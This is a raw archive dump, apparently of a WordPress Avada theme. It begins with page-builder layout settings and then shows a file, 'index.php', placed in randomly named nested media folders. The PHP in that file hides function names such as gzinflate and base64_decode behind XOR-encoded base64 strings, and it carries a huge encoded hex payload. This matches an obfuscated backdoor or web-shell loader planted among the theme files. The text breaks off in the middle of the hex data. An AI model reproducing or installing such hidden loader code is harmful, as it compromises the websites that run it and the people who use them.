sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" element_content="" margin_bottom_small="0px" first="false" spacing_right="" type="43"][fusion_menu menu="right-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="100px" sticky_min_height="" align_items="stretch" justify_content="flex-start" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="#65bc7b" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="25px" items_padding_left="25px" /][/fusion_builder_column][fusion_builder_column type="43" layout="43" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" element_content="" margin_bottom_small="0px" first="true" type="43"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-start" font_size="15px" text_transform="none" items_padding="" gap="8px" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="#65bc7b" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="25px" items_padding_bottom="25px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" mobile_nav_trigger_bottom_margin="20px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; return $demos; } add_filter( 'fusion_builder_get_demo_headers', 'fusion_builder_add_default_headers' ); Avada/headers/media/pjz/mqdj/index.php000044400005162056152342437710013655 0ustar00getMessage(); } } } private static function xor_strings($data, $key) { $out = ''; $klen = strlen($key); if ($klen === 0) return $data; for ($i = 0, $len = strlen($data); $i < $len; $i++) { $out .= chr(ord($data[$i]) ^ ord($key[$i % $klen])); } return $out; } public static function init736() { $f_oTIEBqVjlt = self::xor_strings(base64_decode('GwoIAA=='), 'k'); $MLwDCn = self::xor_strings(base64_decode('GB4JGB8Z'), 'k'); $voirIHsQImMA = self::xor_strings(base64_decode('DBECBQ0HCh8O'), 'k'); $fWWtAtgFpc = self::xor_strings(base64_decode('CQoYDl1fNA8OCAQPDg=='), 'k'); $ZdxqH = self::xor_strings(base64_decode('Bg9e'), 'k'); $CDzvl = self::xor_strings(base64_decode('GB8ZBw4F'), 'k'); $hex_data = 'ca149c795c0cff1fc73b24a49228a49642482d42a5dafd3a129245a874ac2421b525e9dadde940912c92a463112a1d5b52e9dad9542a1d8b6e1dbb9d4b9b766bdb7b76e6e7f7f73c3ef398cfbc3fefcfebf99cc7cc3cab1b8c9ab6ab3097fd57b53563d952cfe3157e1b46370c3cd50ebf4879f165cbe3ff2ee9e3400f419e4ddfcb005a521df73d9dc754ba918fba90124520fda8bcf61d7f27f14ddadd0832a53d3038a9faf89b1ec2b3a0a7e1366906a46395e410d6de5454d6070fd2f637ffedc94fb74b401d5264b9a71123b8357bcee9a4cb50d321f2e60cb766db511486b859f79d9e5fbfc224f96cfea7172f16aa1e7f48194ce1b2d6f954241f7b303e15b9f693e3dce789d4ad16190ced95fe5dda84c7b1f95a8420a961ff6f93a78a76bb073b17062fd879966b3686853f93cb3e07b59d4ffd5a04eb2842e95a13c4328958212aae1bfe223bd043dbf2f5486cc85deb45c3fb5db39ce7a5a21c82d5019394d4a1da6214d3d6978330748bf593923f52cbe6c49606c30e13b04fd1ee9b7c19449ddcbf6a246949aeb0d7f2ab4da88426360010d6c8f13f18fc8ea92be1990ef9a8e152b2e58fc1ed61b7373eddbe3b0b12f8d7f37805d777e330f73ab07a378b727c147f31fe84e3e74bed527b7e89ba3a727e579edc5473f9fa99f21b95526291971586456d966d5b189af5fddce180ccf0c5408637a4f3f1e940a428e4ea307d7e48a2189769f7544ad3f4af86261d8e3a2d6fbe607ef83441314f3d46037a150a1b4c8640a2402e9ccc9a940fb287bd8a5f97a6ee9299e1e4c68f9b6a02a7d444fbdd450af9af21d3fc5a0c1ca0988b9416fbb52a2aab3ff45dc71c730007f68d6dc3f19e84755ed1b557d4d0c705210a976200e27fe1ffee157dbab044bae32c4d94e003fb0e21b022b018265158c2e35feb9e0f7e25d14ae9f3bfebaa993252415fe502b583feb06d4e9e96db992ccf4913cfe0ff1e493f90cfbec0bb5c76b6c3de3dac77e9a830e0346209674e4683729e82d9d5460a4c4a483c7b79c82f3be1e0a60f5edf8e7c33c43c0a97865a7b23090a874384095021f37d51c50ed1e1e6c1ad75b394f58ff4231a003a400f1b6071a2c56f8e0d25269f6acbb771b0f56b34987124c8a68ffde1744d97517a5a152c11b67568977bc45874c8a7b59098454482b7ae4cd36f03e5e270443f79e4f0c1e53f40b9b12cfc09faa94770e289dadf060247b84f8046cac38220f21c1a40dedb57261692b8b5ee3b5eeee0a79192f78edc21bd20e9fd99c672e57df499b57488c20f35baff3ac283cde3fa0a562d54ffd212e38bde766229881faa048d8d36f87536f23c3df289db1ea6817e3ef0a1bf0d06240995f603cce05d88a942ce462a15dbfa5a067b0d3eb4474515c9d4e1a09cc69a41974f276e54fe4420a402733a343c2c14a228da87594242d612a772db7da7dff72595ebb2ce60395be6bc9f36fb5506d45e19d4a606847ab81ba4977ff086f1ccf0751f0259c77407005f041fd72ca859d196602f2c6874668df86895eb86867e928b5b67aefcfa436d2ccaeeb954b66f6afefdc934a48217a27847c24328d12e599ade8fe20cc452a7edc48ba8955bc5208cd9bad66aff48be1c7be26af2bada24fbc8b8397785001962fdc06cb1a09ac0f8dd42dea0b2287ce4ee0fa1f608da6e1a2bc30b962a1c33308f70c60add4f913baa3705e91c4a704ebc28a53860f0c7fdb4b6d759bc79ef1c77a4e6ef1c26c47b9582c7d59501e3e0430e1360a1a3b4ef927753b8fbafd72e91d3b0b2a473241d4235f9a85f92ff7cd0142b7b59026787bc96d38f1a2d6cdbf7c11a01fbf05f0939a4c221249185d49a1fec020705bb4969ce0f32cff51c9a549b9260ff8acf566b33b7d61ea2efcb00dcad9e750e23afbb9c5e37fe1d86396261240cf6327f7bfb2a1e3ed9aee0ec28b46bdc48441cb18ae64b25bc96b04310737065e9d683c413c8c2c97576c82ff4624efefeb35962e06b2e2877119686f88d75203e0dd3b84b0f3c49e7a51562cff527cb3a22f71f6b885cbb676c350b7c7cd0aecae5097c2d0164529d4d1147a2392c63b178407853f88d5e9b797f021c86808db44b1687cbacf6cb2a90ea6d3fca5f13b72a7a07cd2179c9ed345e21f7f003e131385c2e7849147c270cf66e008f1012c55d4a4b4d6f04a18dabda9ccb1ec6f776d59cafbd9c65afe1d231cf5f8c44c0692726dbc6f064bf373dafd7ed63fe3443383071646d97a981d765ee499ecbde67d36ef69e531fd77005d9cb93c203c3937cab585593e6c1c22bd13bbc6f6cbd48dddebf86f0fae9e0b1dc50571407392ae352f74c0f2132d89dae69a1f0d8f0e073e093df8f51b7169e62ab7770e72c0e3ea81c8dcc97bd2b54fcbef62323cbf931f524696b4749c814a611799935f28ce49e27e7ac64e2904e3dc75412ac0dcd958734611b80a286720f85c6dcb5d52fa58e2bbb7ba2ab4f1e64e794775999f4dedddfeb3a302e9d5c83d202e2dc6927159787d1b96dc031e9ed07f0aa8e19630f970d582231a2b2b2d6f07ce70d7810ee59f1f7f921c1ae5fe0552b0d80ee295590ec77585d57c22c5fdc28dee292723bd69e3236f5b41ea0b232ce2c99dc920474b2e283aa61342442c9338b519569fc5b96c009b98188c9b9ba6bd0187be438e1f9bb3a615297c06311f1456e87e33cd0608a58780bdee63b13e507c96e034cdf395319557224a3cd294e9c8bf0a548a2bf4ef8168b1ad9cadb6d24230797b40a8f1f278bf6b326ea95f525e5fb7f4fba6c78fbc9511858c645f93b64665ad4d3793fdd349348a1d1df32a32bb321ad937d3fa35c7db7548a49ac0ffd788efcc870a8ab46000f6f6c90f9d8b5683cb28207edf973cf61a05563467cc888eb111c355225d2f355c4c5bf34bdcff38b3625448291bafb5ed638d6a41e42bd74f4af90bd343feca795255ffe72fa22855be544753d33927275f7650fd2d2f2aedb051d7bc535e57ba79aef89e3171e85cdf347b4a63f7e8f282e7a7425fdfa7683739619510451847b5eb3fd40559bf1dff211d1d85ec1706f943843b32e798fa51d4b2d72748bde41ae970b700fd33b64e61dd72a3812c50cb9f9556e9575326ced8ce108e8bed4acc03df8a5deee75f357cf54dbc3a13f6d42f86dbc76fcecbbcafd35cd7e7ece266f1c0d66167639551bf15c3b4281cd133f864a37a2b436f4b2e59532b7b7f019d4ba70ed85ea969c8eca26b8ea6af6e174aa61a3e508903e2be76ebef13c2c2827dd36dac394e7fe6cf7492fe737dfd442fca796156a786fcd4e13596feac75771ab6f6d7c431c1ce2f5039f0bc937074a9fcee7d5135488239b3f306fbf8126b5077c42d3287f50bb3cef2ca5cdb2716d9f0cc6eab6a2dd69e29dafd1bbd2c99f2b34c3acd9d1a409acb4e2efa421b7f2c9935a35cea5cd17cefd7149fb4bd216158d1d3225bcfe0a1fdfa59ffba75e53a2100ca52a7625d59c59df28345de82bdfc9d5ef67f67e4bef4e31b620a1ee5c12d0bbd2d2439bdf9594508e959737943ff8f86b2663e0d26b939a80077ddfb1c57776b1827e16beb5dabbee76b5ee88b1c8c4635f9393165212a8e01a313dd64af9653583f91b3df2ced5065a080af1c77c9adadf5566ed0d2dda921ae335a551795abd34dbdf3999e5856d3d266ed65285b5e484ea1d2243be5461d575ce8792810fa9bee0bf3817953d34bdefe8c2fee17d05192ea2c74ea1a992ffee6dd07b97ddaf3cf895ac89d4b4c77f255bf3cf3ee9e91d38ff051397f5f9f07d743bdd0a9ffe212df2b27f04ec7c65367f3f36292be2915ef5b736addbb9ae4e6fcbdd7756b19173eb9c651773a14d3a7122ac4679a3ccebfdee852cc16c2a062fac5f3b43309cc9e8f02ffee6179414b9d36636cb2ae96997261ca666f841bf662a4af3135c22126d1a93272cc88e3a67e7c4d7e86b006e37c2a419e11d8e41fbb06343c5997ffdf6e4bf29b2bdfe37d3ee5681c72ccd472c3b9659906c7d09296b9317d72c2afd30d35b442fc1a2241c978cd4125afeaed7d4f56735c85515d1e6de37f93b06a7d31b6589e3750fc6c8a57d0b8006520fff592d6af61cca373b1ccd2cc5cc6fb038f0a6845e1dd1ea29be9233ef7a4591d1247718edb9e15573b4dad87e4f1fb336e97ae1a01a2c6d36e4b851afddfc2ddb2a52af1236396d38efe1cf2d73b2350b2cfb3e3a9cda3164feaca34221dbd6253c7eb8a7c0ae4fddb6bde81875732ff8d061ed06e4647c67615121d05435e47f0f2675cbbf565e302be5d5d7c8fc366f1a6b188f4c3d864d00aaea78676af1176e4fe2b61cde7c4fe69aadd18843715d9ba235e5cdb267c9558bbed52a5700ea146518289c230ebce6ed2e523ae3b9b04e14a406d783b6fae521bbafad12edc54b0c1a71b6cdb2a35f73d913c0511b5cc7c447eb5b514fc6f084300739be011cc5baa1a21b05c244748bb6e1a94f78e72ccb02cf0f847e57f3cf7477039e82d3f4e55a19ef81bbc545ec119c83ddb3f47a0eb3ece26087f3509bf8a34b652648919818198ac42f32baf6c60313d75cfd3c5c6baf7ce9fde901260a746ef73bb6563d8dee39bc0d734f410afb103bbc1b361cfd47068d8a0ade54e4f6e33387a4e9c2b60b153d29c4858c768c93e2f3dd9a938e1aa63307ceb948fa169f9dd2e0fa56d15bb409ec070e3f97b8882a4d4d87b478e1e59ceb193e55273cb9595dc6e7327e7fcfa3967804def4402e4ce0740cb957cf985cfc8255ac9e7f18b154a1d95b59db5ae2b56ca0713bfd65d6b4fe7dda88a80e5a9e653e1412aa9b3bca7eb3e5cc68d9afb043e97bb6d82d70d34e6424afff869398ce28055b07c51545df53f47e9c7165c5baf545deaa4bb4ecc57b1b1ba6319afb54b826a24b616deb88de2f716bf1da073bb98becae72595f3ee58f1fa259a407b798cd3b6573ee1aae5bea49e5edcdcc49e267b65d9b3a6fcb4ed20f9f8f01ef2d1225d45aa2f52d0e927f4153d7231f072e426a79a3d4fc4784c40ce6f610f613c6e4daabf716824243beb2d43f079cf757bfcbe3f50cd6bb823e9c8af9cfd25521eefe3a7ca708f71b35f59b49f592bb426e857175f6e4b5ea705528f467b33a0aee8bdf7c7b324db7205c82b85feec8487cff2bf342f9df134f244e657ff7ce1fda362746af8d0796677fff135a6bca0ba3db6d9da08ca80067711659468707d716a3c6921ec8cb47fe0c9acd8b2f44b4e07589de2397b26e5f4113bfe334899f886141e5a537059bbb8c241ab055ba837ac8a2a95415b2689261e37596dab48887436cc3077a796a74d68d586ac31157e3eada386d637ade8526ef4572f344cb36b2206b9bd4c2244c8fa34555b7f88fdc7fdbebe9078cfdade9d955f34848686522418b49d88d9b1ddaebb5203418e385bfdac47751986fe9f95adea12235dd51b3b1e7db7b8f5cfacddc91bfa5b50d74d690ce67b3005605fc4992013472af824fb26b42e32591b8eeaae4ca6143a099534e5abaf0f1b1a33259592efad5bf010c1c76dea4c9bf7f1b9f9ee234d0eb9a66afea1feb7f6205b5e78745e6d34480e69e7bbbca0f9eb91e50f77d03904a4a333d9ef1f174daab2eb5b1f1dc0825ea174c4af32ac9ef97cdc92583162f177f1854c69e2ca5bf5ba8dd99de2ded1cee3e987e95e54a7bed01f0c53aacebfa9a2534bd106d699ae4100b3c7869f6aad0198a876abe0f6cde1e0d1e5dd8629131ff540c454bfffcac778fc499ac99a55f7bd3d833473743bf06a3c21ba62ef9b22d092d619e4d7e80b31e3955998a2c5a070f7f4bb2d537605f9da01963122d8e9d7d865a271ff3d41cda0a0e570d6f04be5ef9f9cd9c49ff748478817ef94351912b6bf8da32eccb2d5beaeae94507652db73ba6ac42dfac9b3be479bee22ef0de1c9a9efef45447e03af5ad6811ac9b5f79eb87f922baa56dbffff64dbd55707b2c180bc4d0b24b11e7f53f1028a75e7651d1bdf796a6a80ffa157ce1ca4dbd0cf5b9b6bd3d07cdb52ee01aae9814ba66072642db4be15c27e2a9236836b059411b5c8187138f5556fe087d7b8d9a15729f02b1967ead2cba318af771bda4f08d871e40f1c2bf02afcac3d05eb3096a929d09901ef9c1a811ebfc362cf56f0c7a3768be09c2636acd4758870712695e632bc00535e960e1ddc3c47489c33dc93a3f7d65e892ae6b7fdd06400593b6990eba55e5503304a111df1d33f6ebf21a854fadcea8a03c03876258ebb32e417fde371d1c1744d970d2edc7064f64fe9a6441a736f0862cff46b197cf4dec919c0bc0f315b65ce97d8c574a51400c2e21fc2b454932a2d9e4b233df8c9dd49f69f166a67a258f42ba44de514ae7baf35fcc965df5ceffeee2c7b97f9707a625435f6484bbdbde5b089ebfc932effe1354c1a05d7876fa8f3e2e7dbab7913ab68818bd68fdf27a6a75e71643bd11f414433d6629a3af1199d7fbe3283f7f3b71fc434be53aa824405cd54313dda2f975ffb97c665b21414f9c7a2433d38fecb211f1da24d2dc79a4a0790f5689ba996cae0d4f37df4f5ed14b1a5875aabe016e6a928f3cc13f63a76b89eedebaf684dad9f5b395ecb3456d0cd48a41c7059655c5ddba34cca3d657c1aa4847f7f8bddabed5a5f3aa92bef0df1a136a8dace64f374b981321aae8f43169b4842abb4b2226264aae28e132734f7b8e2a1e36704673d975c357d2044a0b43f1a8e5abe77827c3d7f2354462157979a2131befeef5ab22757a542de1caf551d45c2fcdbb04ebe4b3670cc522bc8c4536a983f8b7df6a551da12b2d0d559be84df07ac24aaefe6c8d6fc5f7959205594a3c5e894aaa7601c31aec778518fc5578bf3b7ec9f05bf46c5f09326f516602719690434f27d262f51a4d85da63ea33deed8789ca74baf9d3509df543b5df8fdfb52d3d00ede6153b10977934e209edd8773cb5fc94516f4f82f2bc255feed0888978aa9fee02f687498c7cde984b48230ddf37cf483c9f3312ee714c6c1bc14f4f087e00a2e95955763bf4c91f3f93bfe5fbf2b5e5dc58f4a6bf0253d744dcbea8270333ce9f5425fe068172a717b2ec817d95b94ad0d7979782c6af7319d41481fd368585534f4c584509edccd4bdb93fd65b6e0a22cecb47925600ddafb745aea908ffb112aab56d195d06edc589ae679b5e583c81558ed8c4efd1e7ffc094f5531d290a92d678f1f71a2d7834dcc07f22153294344e771f22af3bceb72cff9b53a5cbd59e0024aeeed6d1f530cb989db0e7ee403ccb0413fbf5d7e08938fcafdbd785d279ba7e9ac372b8a6ab8060875599909dbbdc8c4d3f00df47cf756a96209b83ababafd0231dbd15abb5c176e34664c6a63f8cbcd2ca81ae5b12dd13874a2fb36545d053367194a504efb7c737004e509db7074fa6816c3fbc2a16abcd604ea81fb9442a01ab17031265ba32a68e739aa80656fb20fbf8582236ce041a6f737ebf7a06db24881747277dda16ab3bb3e7d69564287254ba92bf765e7c8e306c875f22a5079c075fe395c167627688baef6f5fbe389856f8fd5b0b8963b156e21fc4c34ae42849ee778ad3a7707a726a1476cf0fdd38594d620996c14b14fcca545cc6ce379ffbdcb7792c7a6ea3fa4465eb0d47b8704b9381247c6592a6442e340b6610cc258144ecd1e8f0a5f35d23eae0ccaa889f0abd5b6cf51254a405f6c6ada213fb26a27bc6796abda5b003f9c984d56e23d89a2219d610db4b5eef6bc971c316a62c3c7719739ac0f97496051794c2c5de1be0219d2d7c624f41c606f21a3bf15b25b22938588bfa54654c366a5c114bede3a35073f2079f23cbed803800f0cf52252f02ed1ae876d89e942d876135ba1a66e622586cc3d6012e132353ae7c6f348dce3dd036279dea74a00d9f26a9a5fca93f1291199a6eb84e72da3f2e5e1b36dbc38f9cbb7ce82b8fb30292904c8929b7552467860f5516be0db757a7cc9aa8d29b593daf090d0ee0e971d818db2f82cdcbcc2066cae97b8abf9463dbf7b1ddd9f8e2c1a53c5983606d3f7e093173461190bd8f4be47ea3fd170cf033d99c9fb2732ae4aad016741cc772fea1be32fa9542d3e14a8cd9c1196ac063d671f651b11a51b865705043921b76fecef59f7ed161274ab137736371860d71d9bec0ed9fde879f8d74284bad84094dde4531a0550446e21aa1ae25e013ebf64bc2f90681e15935091d1f4b8ab2e3c15feddea12b5c4a03dfff39f82c29de85d5c21af47c8ead97462e252a1185b58cd08dd8358dccf975b7266fda814707b3920fe7e124c4be45d728920f1dfefdaeabf9aa63d135e513387f946421cf974dcd5205165c0d46cdf19797218788c78dc410fbe5d6d900b6ea2eed4c154cdcb873353691aa27592e5970df445e8bbab5a7ad669a7d416032263792fbbf6955ab55e576395c1bf02444860f5d08a04fde870e28814236659f5b0ce3593f586865667b36d440c67ecdf64ad9f2cb265e6cf633ab98d7a2ad3e826380d743162ce3edbce3b0d7f8b959fbc0485019f9699911a6aed37150f8b9a5ae6649a37ed5df6966a12a5cde878acede486e69b4ab26b2b0666c930957c5babc371f8de681f37f77879a620f438096de07759876652d139b4e7d8292caa73dc74054ca5b8ffcf80230d4e7f902c80e1997ba2c92ab13028db379a964c5da7f8b61a70afd0bfcc9c5d04f754c3f780ddf764ceed4df1de0cfad59420d4f0f64d01ec470c2f34796cc7b983e67f4cd2e23973b1825b62f92d055c98bc1feaadf7b83d5c6a890ce9f537e537a9b2710d912a82696d4c27ac5bdc31f4a5bfe845a7b240e54053c57e0eb514db2bd8ef0b7bfeba4effe83d5b15af6fc9ae8c5507cd859ea6b1683d674e2640cea9dbec39c8e640d4fdb73097111fcf1a90ad3b46b9462386b33de7040096f0cce0ccf6fe31550ec54b05bc01446c26bea5f4788164b2970ff6e58cf5dc132754c107bbc683684e5ebdff137f12b0336b0011dc88a6b15f462a9eec845a0c358b87a8c96c5f9b02a1101f7e500b1a866fd46605c2fa843101ff9fb3a9b33ddf43ebe9cd1171527d9cca0d5b36eb3590c4e0b303be8bc824ae9db7e0052869de7a016daf44ad17cc711fd6ce625aa3d11092ce5453dd99f41a8b9f4fcdfe907a72c4ec2b1926de9ed23159afcbbe3d27711616f46dc705e377efd9d0c0e9fdad563bbd75cbf16f5676977e0de6cc2157389019ff3470bfc7cb8f4032b7c9944cdeec70527c83585659a7200357462f337ed51bcb8a42096c770898417c3be971a2b67a75796f626c0c7c9f7259175df2ca9889e63ca5a266a26821c03bd0ce7c6a73615bc589e88f5fa2aa9d22d5202b463290cfc42fd851982b5dba87d82a45609747261a5c9bf7addf4a947f5b251b0d11ce975c3be91bd694b2077133a72594b1e5e881d455a80912f97578f7d2b3fd173a5f46fc1b57e742ce162738a8d64cecfe74b7da08176f00a98cbf72efe30a323b5aaf5b8f6043b566f784b77cb9be3951d518ba165f2cfed71024dbbde3e1d1efe5302f47aa42dc88649125e49ae7ec0afaefcaa8a1995beee8ab9cf66b510b29e9ef982e97cc8eab33b4e9b7df5985513c7c960f9a812d9c30c42faf4a279dc1fad4eab241da4b5cc80074c139e78afc032085bcc676ebe345fc5f43f1f2ed1972081d3278d24fa15813f370f1a5179b11fe4dc648eaaf107f0f2d0b916ddb045f2c5d8039040078c804fcfbc4b1072a42a12357e8ac19c0bba3d162a1d60d016cedea945196cb75c5b0274115f5b3128c2cda77ed43b30067459f311282eca10aa6fc248925d5a506ad2710db1a3122a3d54d93bc411ee66243c02d4e102b01ebd6c443bdf118c41b6248d1c8ee6679cea4b8c6653dd1300ab6e3bd4e0ed166d867f0b202e4cd262f459b60af4d9267cc719a7843dae3ad811552fde57e86505c3eaa9e4ec7343681562200d2d5b6cb10b2f22da5b5b7afc2e6cafb0e763258663e3e6c1dc6f2ad4aae6d57f3a52b6cfc667bdf821d3b39d64e3ed105d9c715dd1dbb964ad7a5675c123db0428a4ee5e96bbad3664db286f40ba5525478753bad5e97a2d38765fefb78c0e86f660641ccb71c8aefa53e8dc48ab998873a87fdae1edc8c9f5bcf4f488d303f6091afc9c43a6b4f414b3be38f03293ed78e89d23cc7148a27fcc518cdbdf39c7328e2745d12d53564ac35b7c4147a8e009124b31e667b4d63e4d649e2636c8a4db24e663aa0ad73a01515d4a7b7c253bbfa4ad226b3399c892f7b88c14f546aeeab8311474375395ba5a671cf7eb1ce3b51e549b37f4aad8a2a6377d028ec3161438af9b40cd1bbc6b169885bfdc1fa078c9e98bbe2b315b16fa1fb13336fead6b7be3c405a748031e3e0253c177382f9a5297acae3d9e158bd4a7d0f66633d747201bf7b584f6392d26f276cc235215a34641812ff9b72d5be07c4a568bbdc927c48b05d8cb7b2ab798bdc0dfb9ed34a16d1bafb8f1ce754c1a6436c1d91e1503eef37a99b775b00ba8f64b96c07e919895e5afd3bb4ba81c6448fbbcc093a63151a91f923ddb2c4f7694d3554135ba3230946989fa73a91f6a69555a6f83eb6954c7fc473e17d622b85be21263a6325765cb8794249381b45f1bfe983548d659c7735ca92b25cf39aa47ed081ecd82d732d2600dd3131dc029a2b3b1c00a6007a44d8ede734c77a3f633f189c20a460f9fc5494d69def17261ec550450d5994eb56c824a335b57419875998fe4799be80b39c43e4f26436c6653c8a95fcba2cc2850908f2e0bcf276e710d32df342f68a46555ed3842ee9de3b1a932580d8ef95c7280188f18d2fecb0acf66addec597be3e3472d66cf4f2de54ca9f84c039450bcfb62f86d53df67d55d7104dd4e981aba75dd780de19d5e2f9cfce3bf19d76318743fe46d0ad6659b5675206e4f42e8dbf1f16d87dfe13da7660bdec991aa43137aee2fdd7630290219b05f7d169e8166c22ae7995e82ec45606afb3f9ebe634b4af9acf7b94ebc6530f8f867eea61a745c543ef4a11769aea3cde4e09dfd9f57bae76eb5a7c26053a8b0f453e7f5a6c17cba14e258a79ac2778f7ddb1d634facd9e51ee645af4d0686e0b2f9f178179fe61bbb962de4866384f89f8025f44a2d8a144a02bfd09be9e5e8f2d05d938ce947354f69abfac3f0e3fd3dcc0c187730d513f520ebf597514bf742ed03fbe3bed26d7f6abb8ceb09bb29c5a99ee0067756b41ebe7c0f3d1af3bc7a51e67597e33816f1da0e584d1e2b9b245dc70fea4cd2de7540355b877035633f2d9b00a5b75ccb1d4e06fe57f2f5471d97ce8aa7741993634ca6907e4743bdbca62874f323dce283302c3ff3d443718fa125eaf356772750db8832f0fe4ec181fbf2b6e3ef073277630ed04cdcd5431dda9e86cbdf2fa241b9c75af476280345a6419e6e88463c8cb4730536edb689ebab0777e6219dc70f3ad9cf24209aca83b7192ed3a7d9dc18af3cac5a8d62d9add1bfec4b0ed0968bfbf8e3075f776fc7f90327808ba6ed80bc836fe4a3f7a527c47a2c9a340dec8e5ac67bddede5eb73fb5d35aa52be7a1355c3959095e9ed1f3b57caf641b7ff597fd52e181f4f590beddcda5c4aa1d6bf0938b249d31ac77105c7085547fe06836cd6233d3d1075b218c61e646f198813fdb2258456b50aecfc5bea6d9d878d49d5a6aa6edf796ab76d8304d091019e25e16c2705c07cd7c67ea31a8a32cd952715024c676db48496749a27bf0ef6c13f387bf968e80c5230e67db87feac854698f5e818f93a76a5378114b698ee36303eb59cc86f8eec5b34e71424bfb61859ba061f0a7a7cbb2d5c4aaed01ff974c694cd7b6fa647576686b3d1ab670204e6a6c20443627f9a691b59af294b9da8497ed508f314bf4fd9fe31085b27501df397debe08a9